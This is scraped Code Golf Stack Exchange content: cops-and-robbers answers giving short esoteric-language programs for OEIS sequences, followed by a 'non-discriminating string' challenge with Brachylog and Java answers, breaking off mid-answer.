039618821364775407403947492157311255310143283125490988585303127442698159113924719563571459841025286208880511134222538431747221840824203312684036627017414295981003169360893015436564680773233890198618904647085929678054127680367983802905553144716598061593632352021737488422700265144189474970515439967472618438343180405852959047054139020095303915498443045344690691354304662161461750826840689185141612937350984288238847592910919431788170821390987459951181698659544772214696392241600642992000900364649438402093845534643663733216626212187314397293309505677932731383013397665193960914949915855970134736764497124186701371371881061763702617034928084811708964018610410971938419410791443362686750151572343348438861493025667676713 ``` The Befunge-98 programs were tested with [this interpreter](http://mearie.org/projects/pyfunge/). Solution: ``` 62 92671758747582594731336103958852355343308794409787718910287760272065096600068486400261521203099179296478278113800406388237579729434074471528101978922110199511009255327569364221068648720732186414156697930516237153253745234146558781777104311285708042469572129997820696177040412749585193035961972308024909384538547357820271391461203855177879703963391294547499579588457829374981409596253284387318191154655397249791533591896711203680125312645807793061567274893660125978667479654664977040722935418267606762108334976561590548772755653088127344268269983549959628254712562135604114391709222466418283973346968039685907258341712475120187026707300070769277380483828579629391533415119380882514570806683534933872011332303802477012040660361613689139008855327957705058672774790021218679288003003953301651226513713984857174365383390364296326192225244927665294515693697694918935732394438095829822147927645949273829493190176397786165741955566462476231578299385726525505407052332068778469428870102672560545990553686935179657522071350801304923521681690806124866463401094200444841941834667455137491597902735287855498886460945851544063102556545691787612423033525861765804657417395955322217721677429700032333887700477665924915189639029356029794151144702621112140447347270986003871777552705154393697526621456025974679633450745341583481291685834000335168972075093212539251102818038917942913311300883294570091156661153874804268309393591292001433191276766990017144340677002050765359295580546228905861008474333888247511333039470305173620221481374758754343560048199433044290376988914313248904786418615239832295700238599693805552407166251501198275363727855984193340187485162706203747898935844148656997727555488455764358003951396850496841760348138874901474547533715922587211143833052692993182786162665394965914056238514702648647904702501871758140636318131208564891924287008550289224318358936576352473100482724524675417108540029486047223784009872784235439805791496176981701859374772960623187174667015174831665360382067784289660747175586412802848517818731070091826086320292632019033525579172665790335268736167170506003176022610987557889205903933680970434653929602313812168432779881423599218075810156457004870273456214668951969634696002866863369645150677406566613367576078149751561615160777945725724620047443832859087000460506626402089973036918592151204779260519899343451226942874643654023265001514280212345984966126290887141500898797940093805650642580450926977375576911590855135774911449619005627413806680159169643085790457809525639117624947749945044091079624534522626841372604654172723500062361904864176709974716350878399949908529715899937417421315012456868864220900338162700464737416505300734198857624165994112815507157337074226022552948626042899845891195024145834980781844015548398775284084741665926642729256313545870065439195137107807599897817556866239630270351410298105991743248934632486671734759038305157913444368204353943206369388913837519310828223093441519335111533635957953613758894822654736600526811789875376813119426924959017038654104216784121093688306563643326587639486472221258233221666454164763738631579246841130247019172136121041002571694545781948282785399495873501148416357057693713305042834246973535325571882393889489457235864027134943913383832461393499203435931881991959787045205816313165984531168137210464591653390767999403651750434079431253272021002273680565508340556736474927770564408343360602057949991306130979603289667991356237787412616305022971197507815004141825394838946364485315703051195195566893733123391158803413838803831010122718476800229685100410524315094662633390222854924884579083098055980542607258318868514903610787510921796157291630993618714015755412239872758443166948699744841899868754369627081727143351807615097715679652005998467491609044596871312950634152039807480021814406950780706131231897491212637759991818212542181136384052857191779658528790835620632765143337026858373660057972387266312097135260115742458792764792668883627539340807572869610941154184473111399152964165437112713815173281951728792354570851956468302291939952274005357250989986640723863408051924618400882866539701190471828299028566020683682444415198672952980294639217217840535225987439355834087974716313911977302809235338769491339553247328065401203243450045946392960085318343121705830317674151229536850726617093615850507955559652374337057819549481320081981520577039493601331233500403284295119207704095876958023271178964331413629547646937335760969491450824461526563643617594783473684358594189269252499897162333533284912320654686655888508024970105099967896167541978181602786701854274646885561632089896312016789257459673121974866871919820865433343707787147414982407950775979279255414469970743690769124215210050618943726165676550098723299244096267839544684847323547847832349290874282817429866612456451105673214159820212156069771415582214200701894487126822756864305461967035982308878073752362075553218935807632264803200753661147341613284071218919438723527468202903770806766095252957940538229987302177328543423522712562396242285027178395886649344 ``` [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 5 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page), score 0.8 (4 / 5) [[cracked!](https://codegolf.stackexchange.com/a/89108/58271)] ``` R²Sƽ ``` Computes [A127721](http://oeis.org/A127721 "A127721 - OEIS"). [Try it online!](http://jelly.tryitonline.net/#code=UsKyU8OGwr0&input=&args=MQ&debug=on) --- Here's the solution: ``` RÆḊḞ ``` * implicitly take input `n` * `R`: list from `[1, 2, ..., n]` * `ÆḊ`: In our case, this will actually return the square root of the sum of squares (which may be useful in future golfing)! * `Ḟ`: floor the result. The [documentation](https://github.com/DennisMitchell/jelly/wiki/Atoms) for `ÆḊ` reads: > > `ÆḊ`: Determinant, extended to non-square matrices. > > > The key is *extended to non-square matrices*. The "determinant" of a non-square matrix is usually undefined, but one reasonable definition is `sqrt(det(A A^T))` (which for a square matrix reduces to `|det(A)|`). In our case, `A A^T` is a 1 x 1 matrix containing the sum of squares. The square root of the determinant of that gives us exactly what we need to shave off the last byte! [Answer] ## [Retina](https://github.com/m-ender/retina), 28 bytes, score = 0.9286... (26/28), [cracked by feersum](https://codegolf.stackexchange.com/a/89085/8478) ``` .+ $* ^$|^((^|\3)(^.|\1))*.$ ``` Computes [A192687](https://oeis.org/A192687), (offset = 0). [Try it online!](http://retina.tryitonline.net/#code=JShHYAouKwokKgpeJHxeKChefFwzKSheLnxcMSkpKi4k&input=MAoxCjIKMwo0CjUKNgo3CjgKOQoxMAoxMQoxMgoxMwoxNAoxNQ) (The first line enables a linefeed-separated test suite.) This is the difference between Hofstadter's [male](https://oeis.org/A005378) and [female](https://oeis.org/A005379) sequences. ([Relevant PPCG challenge.](https://codegolf.stackexchange.com/q/80608/8478)) This was my original code: ``` .+ $* ^((^.|\3)(\1)|){2,}$ ``` This answer was a bit of a gamble anyway, because the actual solution is based on a regex [I announced to be the shortest known Fibonacci-testing regex](http://chat.stackexchange.com/transcript/240?m=29301239#29301239) in chat a few months ago. Luckily, no one seemed to remember that. :) [Answer] ## [Stack Cats](https://github.com/m-ender/stackcats), 14 bytes, score = 13 / 14 = 0.929 [[cracked](https://codegolf.stackexchange.com/a/89956)] That's 10 bytes of code, plus 4 for the arguments `-nm`. Computes [A017053](https://oeis.org/A017053). In case OEIS is down, that's `a(n) = 7n + 6`, starting at `n = 0`. ``` ![_-_:-_-_ ``` The full code (usable without `-m` argument) is `![_-_:-_-_-_-:_-_]!` The hidden solution was ``` !]|{_+:}_ ``` [Answer] # [Hexagony](https://github.com/m-ender/hexagony), 91 bytes, Score = 0.725274725 (66/91) [[Cracked]](//codegolf.stackexchange.com/a/89095/8478) Computes [A000045](https://oeis.org/A000045) (Fibonacci sequence, offset 0). I won't be too surprised if someone manages to beat this and my more golfed version~~, although it should be hard.~~ Edit: Holy cow, @MartinEnder whipped me with a 33 byte solution. Golfed (91): ``` ?\]~<~.{>'"/(@{\''1<{!1>{{1}/}{'\1</={}/_\'0"/>+(}\/}(+'+'%=<>=%"=+("\/+"(+}+<>{{}=~\.....| ``` Formatted: ``` ? \ ] ~ < ~ . { > ' " / ( @ { \ ' ' 1 < { ! 1 > { { 1 } / } { ' \ 1 < / = { } / _ \ ' 0 " / > + ( } \ / } ( + ' + ' % = < > = % " = + ( " \ / + " ( + } + < > { { } = ~ \ . . . . . | ``` [Try it online!](http://hexagony.tryitonline.net/#code=P1xdfjx-Lns-JyIvKEB7XCcnMTx7ITE-e3sxfS99eydcMTwvPXt9L19cJzAiLz4rKH1cL30oKycrJyU9PD49JSI9KygiXC8rIigrfSs8Pnt7fT1-XC4uLi4ufA&input=NQ) I'm not going to post an explanation for this, it's too horrible... Golfed (66): ``` ?{1}]0@._.>\>+{./'++.!.|.*'}..\}{\=++.../'"<_}\"+<./{(/\=*"=/>{=+" ``` Formatted: ``` ? { 1 } ] 0 @ . _ . > \ > + { . / ' + + . ! . | . * ' } . . \ } { \ = + + . . . / ' " < _ } \ " + < . / { ( / \ = * " = / > { = + " . . . . . . . . . . . . . . . . . . . . . . . . . ``` Colored: [![Fibonacci sequence](https://i.stack.imgur.com/DQnmf.png)](https://i.stack.imgur.com/DQnmf.png) [Try it online!](http://hexagony.tryitonline.net/#code=P3sxfV0wQC5fLj5cPit7Li8nKysuIS58LionfS4uXH17XD0rKy4uLi8nIjxffVwiKzwuL3soL1w9KiI9Lz57PSsi&input=MTA) Explanation: The memory layout I used looks a little like this: ``` | a | / \ b+a b / \ | input ``` The initialization (in black) sets a=0 and b=1. Then, the main loop: * goes from `a` to the input cell - `'"` * decrements the input - `(` * adds b and a - `{{=+` * moves it "out of the way" - `"+{=*` * sets a to b - `'+` * moves a "out of the way" - `'+}=*` * moves b+a back to its original position - `"=+` * sets b to b+a - `"+` * moves a back to its original position - `}+` Once the input cell reaches 0, the MP moves to a, prints, and exits. What I could have done to save more bytes is to use &, which just sets the current cell to either its left or right neighbor. I also could have had a bit better flow control, but it's okay as it stands. [Answer] # [M](https://github.com/DennisMitchell/m), 10 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page), score 0.6 (6 / 10) [[cracked](https://codegolf.stackexchange.com/a/89072/12012)] ``` R‘ạḤc’*@RP ``` A tad cheaty since M and Jelly are quite similar, but allowed by the rules. This version is based on [@LeakyNun's crack](https://codegolf.stackexchange.com/a/89065/12012) to my Jelly answer. This calculates sequence [A068943](http://oeis.org/A068943 "A068943 - OEIS"). [Try it online!](http://m.tryitonline.net/#code=UuKAmOG6oeG4pGPigJkqQFJQCsOH4oKs&input=&args=MSwgMiwgMywgNCwgNQ) ### Intended solution The following code works in M/Jelly. ``` R¹¡PÐL ``` I actually had a 4-byte solution to which I added some fluff to make it seem more difficult to crack by using brute force. ``` R¡FP ``` [Try it online!](http://m.tryitonline.net/#code=UsKhRlA&input=&args=Ng) This is the one I'm going to explain. ``` R¡FP Main link. Argument: n ¡ Execute the left to the left n times, updating the return value. R Range; map each integer k to [1, ..., k]. This does the following for the first values of n. 1 → [1] 2 → [1,2] → [[1],[1,2]] 3 → [1,2,3] → [[1],[1,2],[1,2,3]] → [[[1]],[[1],[1,2]],[[1],[1,2],[1,2,3]]] F Flatten the resulting, nested array. P Take the product of the reulting array of integers. ``` [Answer] ## [Snowman](https://github.com/KeyboardFire/snowman-lang), 50 bytes, score = 0.9 (45 / 50) [[cracked by Lynn](https://codegolf.stackexchange.com/a/89363/3852)] ``` ((}#NDe`nOnO|`2nMNdE0nR2aGaZ::nM;aF;aM:nS;aF,nM*)) ``` This is a subroutine that takes a number as its argument and returns another number. Computes [A122649](https://oeis.org/A122649) (offset = 1). [Try it online!](http://snowman.tryitonline.net/#code=fnZnMTBzQiogLy8gcmVhZCBpbnB1dCBmcm9tIFNURElOIGFuZCBwYXNzIGl0IHRvIHRoZSBzdWJyb3V0aW5lCgooKH0jTkRlYG5Pbk98YDJuTU5kRTBuUjJhR2FaOjpuTTthRjthTTpuUzthRixuTSopKQoKI3RTc1AgICAgLy8gb3V0cHV0IHRoZSByZXR1cm4gdmFsdWUgdG8gU1RET1VU&input=MTA) [Answer] ## Haskell, 15 bytes, score = 13/15 (0.866) ([cracked](https://codegolf.stackexchange.com/a/92656/20260)) ``` f x=1+2*div x 2 ``` [A109613](https://oeis.org/A109613) with offset 0. Repeats each odd number twice. ``` 1, 1, 3, 3, 5, 5, 7, 7, 9, 9, 11, 11, 13, 13, ... ``` [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 27 bytes, score = 0.666... (18/27), [Cracked!](https://codegolf.stackexchange.com/a/89021/41723) ``` +ybL:L:[1]co~c[A:B]hl-?,A*. ``` Computes [A010551](https://oeis.org/A010551) (offset = 0). You can [try it online here](http://brachylog.tryitonline.net/#code=K3liTDpMOlsxXWNvfmNbQTpCXWhsLT8sQSou&input=MTA&args=Wg). ### Explanation Since the vast majority of people don't know this language, and since I'm posting this answer mostly to get people looking into it (See: [Brachylog's Wiki](https://github.com/JCumin/Brachylog/wiki)), I'll provide a short explanation of the code above: ``` + Add 1 to the input N ybL L = [1, 2, ..., N+1] :L:[1]c Construct a list [1, 2, ..., N+1, 1, 2, ..., N+1, 1] o Sort the list from smallest to biggest ~c[A:B] A concatenated to B results in that sorted list hl-?, The length of A is N + 1 A*. The output is the result of the product of all elements of A ``` [Answer] ## Haskell, 4 bytes / 5 bytes ([cracked by Leaky Nun](https://codegolf.stackexchange.com/a/89046/20260)) Let's start simple. [A000012](https://oeis.org/A000012), the sequence of all 1's (offset 0). Here's a table: ``` 0 -> 1 1 -> 1 2 -> 1 3 -> 1 4 -> 1 ... ``` **5 bytes:** ``` f n=1 ``` [Answer] # Java 7, 53 bytes, score = 0.9623 (51/53) [Cracked](https://codegolf.stackexchange.com/a/89083/58251) ``` int f(int n){return n<1?3:n<2?0:n<3?2:f(n-2)+f(n-3);} ``` Computes the Perrin sequence, [A001608](https://oeis.org/A001608) ``` f(0)=3 f(1)=0 f(2)=2 f(n)=f(n-2)+f(n-3) ``` First code golf attempt, feel free to point out any mistakes. ## Explanation after cracking: [miles](https://codegolf.stackexchange.com/a/89083/58251) shortened the first three values (0,1,2) -> (3,0,2) to ``` n<2?3-3*n:n<3?2 ``` while my own solution was a slightly over-engineered ``` n<3?(n+4)%5*2%5 ``` Combining the two tricks, you get ``` n<3?3-3*n%5 ``` for a 47-byte ``` int k(int n){return n<3?3-3*n%5:f(n-2)+f(n-3);} ``` which looks pretty compact for Java :) [Answer] ## Cheddar, 7 bytes, score = 0.8571 (6/7), [[cracked]](https://codegolf.stackexchange.com/a/89053/40695) ``` n->2**n ``` Pretty simple, just the powers of two. [OEIS A000079](https://oeis.org/A000079) [Try it online!](http://cheddar.tryitonline.net/#code=bi0-Mioqbg&input=NA) [Answer] # J, 17 bytes, score = 0.8235 (14/17) ([cracked](https://codegolf.stackexchange.com/a/89029/6710)) ``` (+/@(!+:)&i.-)@>: ``` Computes [A002478](http://oeis.org/A002478). The funny thing is that this version was originally the short one to be kept secret. [Answer] # Python 2, 43 bytes, score = 0.9302 (40/43), [cracked](https://codegolf.stackexchange.com/a/89022/45268) `f=lambda n:n==1or-(-sum(map(f,range(n)))/3)` Computes [A072493](https://oeis.org/A072493) Let's see if anybody can golf off all 3 bytes. [Answer] ## Pyke, 11 bytes, score = 0.45 (5/11) [[cracked]](https://codegolf.stackexchange.com/a/89116/12012) ``` hZRVoeX*oe+ ``` Calculates [OEIS A180255](https://oeis.org/A180255) [Try it here!](http://pyke.catbus.co.uk/?code=hZRVoeX%2aoe%2B&input=4) [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 9 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page), score 0.5556 (5 / 9) [[cracked](https://codegolf.stackexchange.com/a/89218/12012)] ``` r©0+’Ac®Ḅ ``` This calculates sequence [A119259](http://oeis.org/A119259 "A119259 - OEIS"). [Try it online!](http://jelly.tryitonline.net/#code=csKpMCvigJlBY8Ku4biECsW8w4figqxH&input=&args=MCwgMSwgMiwgMywgNCwgNSwgNiwgNywgOCwgOSwgMTA) [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 11 bytes, score = 10 / 11 = 0.909, [cracked!](https://codegolf.stackexchange.com/a/89320/41723) ``` ybLrb:Lrcc. ``` Computes [A173426](https://oeis.org/A173426). [Try it online!](http://brachylog.tryitonline.net/#code=eWJMcmI6THJjYy4&input=MTE&args=Wg) ### Explanation ``` ybL L = [1, 2, …, Input] rb Get [Input - 1, …, 2, 1] :Lrc Concatenate [1, 2, …, Input] and [Input - 1, …, 2, 1] c. Concatenate [1, 2, …, Input, Input - 1, …, 2, 1] into a single integer ``` [Answer] # J, 20 bytes, score = 0.75 (15/20) ([cracked](https://codegolf.stackexchange.com/a/90411/6710)) ``` [:*/0 1(]{:,+/)^:[~] ``` Computes [A001654](http://oeis.org/A001654). My solution for 15 bytes was ``` *&(+/@:!&i.-)>: ``` [Answer] # [Sesos](https://github.com/DennisMitchell/sesos), 14 bytes, score = 0.8571 (12/14) ([cracked](https://codegolf.stackexchange.com/a/88989/48934)) ``` 0000000: 16f8be 760e1e 7c5f3b 07ddc7 ce3f ...v..|_;....? ``` Computes [A000290](https://oeis.org/A000290). [Try it online!](http://sesos.tryitonline.net/#code=c2V0IG51bWluCnNldCBudW1vdXQKZ2V0CmptcCxzdWIgMSxmd2QgMSxhZGQgMSxmd2QgMSxhZGQgMSxyd2QgMixqbnoKZndkIDEKam1wCiAgc3ViIDEsZndkIDEKICBqbXAsc3ViIDEsZndkIDEsYWRkIDEsZndkIDEsYWRkIDEscndkIDIsam56CiAgZndkIDEKICBqbXAsc3ViIDEscndkIDEsYWRkIDEsZndkIDEsam56CiAgcndkIDIKam56CmZ3ZCAzCnB1dA&input=MTI&debug=on) ### Hints This binary file has been generated by the following assembler: ``` set numin set numout get jmp,sub 1,fwd 1,add 1,fwd 1,add 1,rwd 2,jnz fwd 1 jmp sub 1,fwd 1 jmp,sub 1,fwd 1,add 1,fwd 1,add 1,rwd 2,jnz fwd 1 jmp,sub 1,rwd 1,add 1,fwd 1,jnz rwd 2 jnz fwd 3 put ``` [Answer] ## [MATL](https://github.com/lmendo/MATL), 11 bytes, score = 0.8181 (9/11), [cracked](https://codegolf.stackexchange.com/a/89030/36398) ``` YftdA-1bn^* ``` Computes the [Möbius function](https://en.wikipedia.org/wiki/M%C3%B6bius_function), or [A087811](https://oeis.org/A008683) (offset 1). [Try it online!](http://matl.tryitonline.net/#code=WWZ0ZEEtMWJuXio&input=MTA) ### Resources for robbers I think this one should be easy, but anyway here is some help. Code explanation: ``` Yf % Implicit input. Push array of prime factors, with repetitions t % Duplicate d % Compute consecutive differences A % 1 if all those differences are nonzero, 0 otherwise -1 % Push -1 b % Bubble up array of prime factors to the top of the stack n % Number of elements ^ % -1 raised to that * % Multiply. Implicitly display ``` Language [documentation](https://github.com/lmendo/MATL/tree/master/doc). MATL [chatroom](https://chat.stackexchange.com/rooms/39466/matl-chatl). [Answer] # [Jelly](https://github.com/DennisMitchell/jelly), 11 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page), score 0.5455 (6 / 11) [[cracked](https://codegolf.stackexchange.com/a/89065/12012)] ``` Ḷ+’cḶ r1*ÇP ``` This calculates sequence [A068943](http://oeis.org/A068943 "A068943 - OEIS"). [Try it online!](http://jelly.tryitonline.net/#code=4bi2K-KAmWPhuLYKcjEqw4dQCsW8w4figqxH&input=&args=MSwgMiwgMywgNCwgNQ) [Answer] ## [MarioLANG](http://esolangs.org/wiki/MarioLANG), 87 bytes, score = 0.839 (73/87), [cracked](https://codegolf.stackexchange.com/a/89213/53880) ``` ; )-)+(< >> -)===" ""==== >>+([!)( >-(+( "====#[(("== [ !-) - <!!![)<<) #======###====: ``` Computes [A000217](https://oeis.org/A000217), the triangular numbers. Offset 0. [Try it online!](http://mariolang.tryitonline.net/#code=OwopLSkrKDwgPj4KLSk9PT0iICIiPT09PQo-PisoWyEpKCA-LSgrKAoiPT09PSNbKCgiPT0gWwohLSkgLSA8ISEhWyk8PCkKIz09PT09PSMjIz09PT06&input=NQ) ### Short Solution: Since the crack took only 1 byte off, I'll share my solution in 73 bytes, which uses a different algorithm altogether: ``` ; +)-< - (==" +)-<( (=="+ > [!>)[!( "==#===#[ ! - <)) #=========: ``` [Try it online!](http://mariolang.tryitonline.net/#code=OyAgICspLTwKLSAgICg9PSIKKyktPCgKKD09IisKPiBbIT4pWyEoCiI9PSM9PT0jWwohICAgIC0gIDwpKQojPT09PT09PT09Og&input=NQ) **The first program** lays out all the numbers from n to 1 along the tape, then adds up all numbers until it comes across a 0-value cell. It does this by copying each cell into the two adjacent cells, decrementing the right copy, and repeating the process on it until it reaches 0. During this process, the tape looks like this (for n=5): ``` 0 0 5 0 0 0 0 0 5 0 5 0 0 0 0 5 0 4 0 0 0 0 5 4 0 4 0 0 0 5 4 0 3 0 0 0 5 4 3 0 3 0 0 5 4 3 0 2 0 0 5 4 3 2 0 2 ``` ... and so on. Then it moves left, summing the cells until it reaches a cell with 0. **The second program** only works with three cells of the tape. Until the first cell reaches 0, it does the following: * Move the value of the first cell to the second cell. * Decrement the second cell to 0, adding its own value to the first and third cells. * Decrement the first cell. After the first cell reaches 0, the third cell will contain n + (n-1) + (n-2) + ... + 2 + 1. [Answer] # [M](https://github.com/DennisMitchell/m), 18 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page), score 0.3889 (7 / 18) [[cracked](https://codegolf.stackexchange.com/a/90544/12012)] ``` r0+c ‘Ḥc0r$×Ç:‘+\S ``` This approach is based on [@Sp3000's golf](https://codegolf.stackexchange.com/questions/88981/can-you-outgolf-me-robbers-section#comment220362_90340) of my Jelly answer. The code calculates sequence [A116881](http://oeis.org/A116881 "A116881 - OEIS") (row sums of **CM(1,2)**). [Try it online!](http://m.tryitonline.net/#code=cjArYwrigJjhuKRjMHIkw5fDhzrigJgrXFMKMHIxMMOH4oKsauKBtyAgICAgICDhuLfigJwgVGVzdCBzdWl0ZS4gUnVucyB0aGUgYWJvdmUgbGluayBmb3IgaW5wdXRzIDAgdG8gMTAu&input=) [Answer] ## Haskell, 28 bytes, score = 0.3571 (10/28), [cracked](https://codegolf.stackexchange.com/a/97131/20260) ``` f n|odd n=1|1>0=2*f(div n 2) ``` [A006519](https://oeis.org/A006519), the highest power of 2 dividing `n`, starting at `n=1`. ``` 1, 2, 1, 4, 1, 2, 1, 8, 1, 2, 1, 4, 1, 2, 1, 16, 1, ... ``` While you get cracking credit for any shorter code, I consider the real puzzle to be getting down to 10 bytes. [Answer] ## [05AB1E](https://github.com/Adriandmen/05AB1E), 9 bytes, score = 0.6667 (6/9), [Cracked](https://codegolf.stackexchange.com/a/89002/47066) ``` ÐnŠ·sÉO4/ ``` Computes: [A087811](http://oeis.org/A087811) [Try it online](http://05ab1e.tryitonline.net/#code=w5BuxaDCt3PDiU80Lw&input=MjU) [Answer] # [Hexagony](http://github.com/mbuettner/hexagony), 7 bytes, score = 0.857 (6/7), [cracked](https://codegolf.stackexchange.com/a/89013/8478) Not designed to be the winning submission, but definitely a brain cracker. It actually isn't that hard if you think about it :p. Code: ``` \!?__@( ``` Or a more readable version: ``` \ ! ? _ _ @ ( ``` Computes [A052246](https://oeis.org/A052246). [Try it online!](http://hexagony.tryitonline.net/#code=XCE_X19AKA&input=Nw). [Answer] # J, 9 bytes, score = 0.6667 (6/9) ([cracked by Dennis](https://codegolf.stackexchange.com/a/89056/48934)) ``` 9 o.0j1^] ``` Computes [A056594](http://oeis.org/A056594). [Answer] # J, 10 bytes, score = 0.9 (9/10) ([cracked by Dennis](https://codegolf.stackexchange.com/a/89057/48934)) ``` *2%~3<:@*] ``` Computes [A000326](http://oeis.org/A000326). This one should be easy. [Online interpreter](http://tryj.tk/). [Quickref](http://code.jsoftware.com/wiki/NuVoc). [Answer] ## [05AB1E](https://github.com/Adriandmen/05AB1E), 7 bytes, score = 0.571 (4/7), [Cracked](https://codegolf.stackexchange.com/a/89137/47066) ``` 0s·Ì3c; ``` Computes: [A006331](http://oeis.org/A006331) [Try it online](http://05ab1e.tryitonline.net/#code=MHPCt8OMM2M7&input=Nw) After golfing 5 unique versions of this sequence before finding this public version I hope I haven't left any obvious improvement out there so it'll at least be a challenge for the robbers. [Answer] # [M](https://github.com/DennisMitchell/m), 9 [bytes](https://github.com/DennisMitchell/jelly/wiki/Code-page), score 0.6667 (6 / 9) [[cracked](https://codegolf.stackexchange.com/a/89760/12012)] ``` r©0+’Ac®Ḅ ``` A tad cheaty since M and Jelly are quite similar, but allowed by the rules. [@miles' crack](https://codegolf.stackexchange.com/a/89218/12012) to my Jelly answer doesn't work in M; it lacks the `œċ` atom. This calculates sequence [A119259](http://oeis.org/A119259 "A119259 - OEIS"). [Try it online!](http://m.tryitonline.net/#code=csKpMCvigJlBY8Ku4biECsW8w4figqxq4oKs4oG2auKBtw&input=&args=MCwgMSwgMiwgMywgNCwgNSwgNiwgNywgOCwgOQ) ]
[Question] [ We say a string is *non-discriminating* if each of the string's characters appears the same number of times and at least twice. ### Examples * `"aa!1 1 !a !1"` is *non-discriminating* because each of the characters , `!`, `a` and `1` appear three times. * `"abbaabb"` is **not** *non-discriminating* because `b` appears more often than `a`. * `"abc"` is also **not** *non-discriminating* because the characters don't appear at least twice. ### Task Write a ***non-discriminating*** program or function which returns a *[truthy](https://codegolf.meta.stackexchange.com/questions/2190/interpretation-of-truthy-falsey)* value if a given string is *non-discriminating*, and a *[falsy](https://codegolf.meta.stackexchange.com/questions/2190/interpretation-of-truthy-falsey)* value otherwise. That is, the program run on its own source code should return a truthy value. Each submission must be able to handle non-empty strings containing [printable ASCII](http://facweb.cs.depaul.edu/sjost/it212/documents/ascii-pr.htm), as well as all characters appearing in the source code of the submission. ### Test Cases Truthy: ``` <your program's source code> "aaaa" "aa!1 1 !a !1" "aabbccddeeffgg" "1Q!V_fSiA6Bri{|}tkDM]VjNJ=^_4(a&=?5oYa,1wh|R4YKU #9c!#Q T&f`:sm$@Xv-ugW<P)l}WP>F'jl3xmd'9Ie$MN;TrCBC/tZIL*G27byEn.g0kKhbR%>G-.5pHcL0)JZ`s:*[x2Sz68%v^Ho8+[e,{OAqn?3E<OFwX(;@yu]+z7/pdqUD" ``` Falsy: ``` "a" "abbaabb" "abc" "bQf6ScA5d:4_aJ)D]2*^Mv(E}Kb7o@]krevW?eT0FW;I|J:ix %9!3Fwm;*UZGH`8tV>gy1xX<S/OA7NtB'}c u'V$L,YlYp{#[..j&gTk8jp-6RlGUL#_<^0CCZKPQfD2%s)he-BMRu1n?qdi/!5q=wn$ora+X,POzzHNh=(4{m`39I|s[+E@&y>" ``` [Answer] # [Brachylog](https://github.com/JCumin/Brachylog), 10 bytes ``` =ᵍbᵐbᵐlᵍ=l ``` [Try it online!](https://tio.run/##SypKTM6ozMlPN/r/3/bh1t6kh1sngHAOkG2b8/@/EqagEgA "Brachylog – Try It Online") ### Explanation ``` =ᵍ Group all equal elements together bᵐbᵐ Remove the first element of each group twice. This fails if there are fewer than 2 elements lᵍ Group elements together that have the same length = Are all elements of that list equal? This only succeeds if the list has one element l Length. This will always succeed ``` [Answer] # Java 8, ~~198~~ ~~192~~ ~~186~~ ~~174~~ ~~168~~ ~~165~~ 160 bytes (char-count ~~6~~ 5) ``` o->{byte x[]=new byte[+333-3|2],u=-0,i,fe,fi,w; s:w:no0r3sswwyyy:for(int s:o){{u=++x[s];}};for(int b:x){if(!!!(2>b||u==b)|2>u|2>2){x[0]++;}}return!!(0>--x[0]);} ``` [Try it online.](https://tio.run/##zVFZd6IwGH2fXxG6KAi40cWC2LrbVq1Vq1UOtgGCogjKIlLktzt0e@uZGd8mJ3n4cnNP7jKHG0ibK2TMlcVe1qFtgxbUjOAXAJrhIEuFMgLt9xEAyTR1BA0g4/IMWoIIbIKLgDA60bYd6GgyaAMD8GBv0oVA8h0EtoLIG8gD74NAMgxDM7usSLk8naY0SkWUqlEeB2zWYw0zbTG27Xm@77OqaeGRgggwiSBweZLcCrbIhSH3jUjslgg0FccwDM8WpN3O5XmJ2GULbnSyRLAV0iJJRgwLOa5lRK/SBZp@vyW4cM99ql65kh6p/hK/MTUFLCP/eM@xNGMqiJD49J5KgZ7pWlEYsqkgoDk20lX2A@r5toOWSdN1kquI5OgGbiRl/Oh/j@Ao6ZjlqMiiZUEfJ4iPMn@084V8B9G3XGfm/9k8jNa/f/BFwTIgAzAIsMzBVEmSZUVBSFWn0wPJmUds8KL2tOJFydKCXegsKi1xMG/f8ZOXMxzG@OtzcwSpjDfbdc9G90/g@ErGjh9BP6a@svby5OZ5Q7vTYb5D6OGwU6jF5zqzXSrxq1t00mpzfatcKqec8W0zUc9eSn7VSE7Ti/uZ1D0t1Onk@aohN9PE3fjVZhPCNtt7u8idbiYNM0cKiAoeimvjmqnmH2reM87d@K5Ivl2mVsr6qXJQf9/d1aBuo791d2j6kvRewMEs@UCG9Khe9OTiucKevcA7oiJmE5PWBq@G99KleSMuLLQZXqN@ujbkbnd3rLYFp1cYU/OWXOJpXG@85pxBYepnts/5XuqheNl2SvFQBm58cNKkRvpoFRwLyeQ8Nu0vcvMVfdHV60/N45f8JF0uj@87j2ole2oTM0SXWl03Y1yvFS2Fna95zzgxLUg@U52Ht7dGe8bjZ8Hylbm63dkCWb2J@YUffYa/wv1v) [Code used to verify the occurrences of the characters](https://tio.run/##VU@xboMwEP0Vk8kuYCWwgUhVdWmlVh0YEYMhR@Ik2MjYAQSRsrdfmR9JTdMOHU6nu/fuvXd7dmK@bEDsN4fbjdeNVBrt7ZIazY/0IeZCg6pYCeh1bDXTvEQnyTeoZlzgVCsutlnOyPjOGlQnAjr0wtqdnTCJK6lwuWMKldEMpCUTAhROh1ZDTbkgVECv37gATKiWz5b6pBQbMCE1bYzGpVfTLdh@vXxdL5/ESYQ5Hh@xDUX@I@4qWt0NP4o9lBpBVNMDDKnlEPLrKI2mjU2sjwKDu4jQwr2rACHx@Xy7SX89FoMG1Gf5zy/zkLlhGPrhFOSeSfylx70KvIp7XYzaqIuEXKqwbbtuGIZoDmD1LSDJOJrEdfusza12/IcUUU9GXmHHcXCwLqbJJElBpmBtbAVk7LNl7rr2QoE2SljWcu3789ZG/AY), which was my answer for [this challenge](https://codegolf.stackexchange.com/questions/19068/display-number-of-occurrences-for-every-character-in-an-input-string/83741#83741). -5 bytes thanks to *@OlivierGrégoire* again by getting rid of the comment and making a mess. ;) Old **168 bytes (char-count 6) answer**: ``` o->{int w[]=new int[2222],u=0,f=0;for(int r:o)u=++w[r];for(int e:w)if(!(2>e|u==e)|2>u)f++;return!(f>0);}//[[[]]] !!!!e(i)++,,,,-----oo////000tuww::::{{{{{;;||||}}}}}>> ``` [Try it 